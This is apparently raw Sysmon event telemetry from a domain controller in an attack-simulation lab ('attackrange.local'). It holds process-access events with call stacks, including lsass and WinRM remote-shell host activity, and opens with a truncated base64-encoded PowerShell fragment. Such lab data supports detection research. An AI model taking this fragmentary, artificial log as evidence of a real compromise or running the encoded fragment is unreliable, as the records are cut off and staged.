AQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-291B-5F80-CF54-070000000000}0x754cf0HighMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-291B-5F80-C200-000000007F01}4892C:\Windows\System32\winrshost.exeC:\Windows\system32\WinrsHost.exe -Embedding 10341000x80000000000000003881Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.907{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003880Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.907{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003879Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.907{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003878Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.907{A5F018FF-28BF-5F80-1300-000000007F01}12641692C:\Windows\system32\svchost.exe{A5F018FF-291B-5F80-C200-000000007F01}4892C:\Windows\system32\WinrsHost.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\winrscmd.dll+8d36|C:\Windows\system32\winrscmd.dll+92d5|C:\Windows\system32\winrscmd.dll+af31|C:\Windows\system32\winrscmd.dll+23dc|c:\windows\system32\wsmsvc.dll+155ac7|c:\windows\system32\wsmsvc.dll+13f76d|c:\windows\system32\wsmsvc.dll+13f3cf|c:\windows\system32\wsmsvc.dll+13fcb2|c:\windows\system32\wsmsvc.dll+9ab10|c:\windows\system32\wsmsvc.dll+9b611|c:\windows\system32\wsmsvc.dll+4495|c:\windows\system32\wsmsvc.dll+16816c|c:\windows\system32\wsmsvc.dll+1689b8|c:\windows\system32\wsmsvc.dll+16345b|c:\windows\system32\wsmsvc.dll+163125|c:\windows\system32\wsmsvc.dll+14ce9c|c:\windows\system32\wsmsvc.dll+130049|c:\windows\system32\wsmsvc.dll+13571a|c:\windows\system32\wsmsvc.dll+12f47e|c:\windows\system32\wsmsvc.dll+125587|c:\windows\system32\wsmsvc.dll+11f562|c:\windows\system32\wsmsvc.dll+124574 10341000x80000000000000003877Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.892{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-291B-5F80-C200-000000007F01}4892C:\Windows\system32\WinrsHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003876Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.892{A5F018FF-291B-5F80-C300-000000007F01}8164756C:\Windows\system32\conhost.exe{A5F018FF-291B-5F80-C200-000000007F01}4892C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003875Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.876{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-291B-5F80-C300-000000007F01}816C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003874Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.876{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003873Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.876{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003872Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.876{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003871Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.876{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003870Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.876{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003869Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.876{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003868Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.876{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003867Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.876{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003866Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.876{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003865Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.876{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-291B-5F80-C200-000000007F01}4892C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003864Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.876{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-291B-5F80-C200-000000007F01}4892C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+35069|c:\windows\system32\rpcss.dll+3a852|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000003863Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.886{A5F018FF-291B-5F80-C200-000000007F01}4892C:\Windows\System32\winrshost.exe10.0.14393.0 (rs1_release.160715-1616)Host Process for WinRM's Remote Shell pluginMicrosoft® Windows® Operating SystemMicrosoft Corporationwinrshost.exeC:\Windows\system32\WinrsHost.exe -EmbeddingC:\Windows\system32\ATTACKRANGE\Administrator{A5F018FF-291B-5F80-CF54-070000000000}0x754cf0HighMD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96{A5F018FF-28BE-5F80-0C00-000000007F01}604C:\Windows\System32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch 10341000x80000000000000003862Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.876{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003861Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.876{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003860Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.876{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003859Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.626{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003858Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.626{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32